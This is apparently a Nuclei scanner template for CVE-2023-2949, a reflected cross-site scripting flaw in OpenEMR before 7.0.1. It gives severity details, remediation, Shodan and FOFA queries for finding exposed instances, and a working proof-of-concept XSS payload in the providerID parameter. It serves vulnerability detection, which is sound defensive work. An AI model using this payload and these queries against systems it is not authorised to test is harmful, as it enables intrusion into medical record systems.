OpenEMR < 7.0.1 - Cross-site Scripting

id: CVE-2023-2949

info:
  name: OpenEMR < 7.0.1 - Cross-site Scripting
  author: ritikchaddha,princechaddha
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.1.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the providerID parameter, potentially stealing user credentials or executing unauthorized actions in the context of other users.
  remediation: |
    Upgrade to OpenEMR version 7.0.1 or later.
  reference:
    - https://huntr.com/bounties/3842486f-38b1-4150-9f78-b81d0ae580c4
    - https://github.com/openemr/openemr/commit/af1ecf78d1342519791bda9d3079e88f7d859015
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2949
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2949
    cwe-id: CWE-79
    epss-score: 0.01472
    epss-percentile: 0.70587
    cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: open-emr
    product: openemr
    shodan-query:
      - http.favicon.hash:1971268439
      - http.html:"openemr"
      - http.title:"openemr"
    fofa-query:
      - app="OpenEMR"
      - body="openemr"
      - title="openemr"
      - app="openemr"
      - icon_hash=1971268439
    google-query: intitle:"openemr"
  tags: cve,cve2023,xss,openemr,open-emr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/interface/forms/eye_mag/js/eye_base.php?providerID=%3Cimg%20src=x%20onerror=alert(document.domain);%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "<img src=x onerror=alert(document.domain);>", "openemr")'
        condition: and
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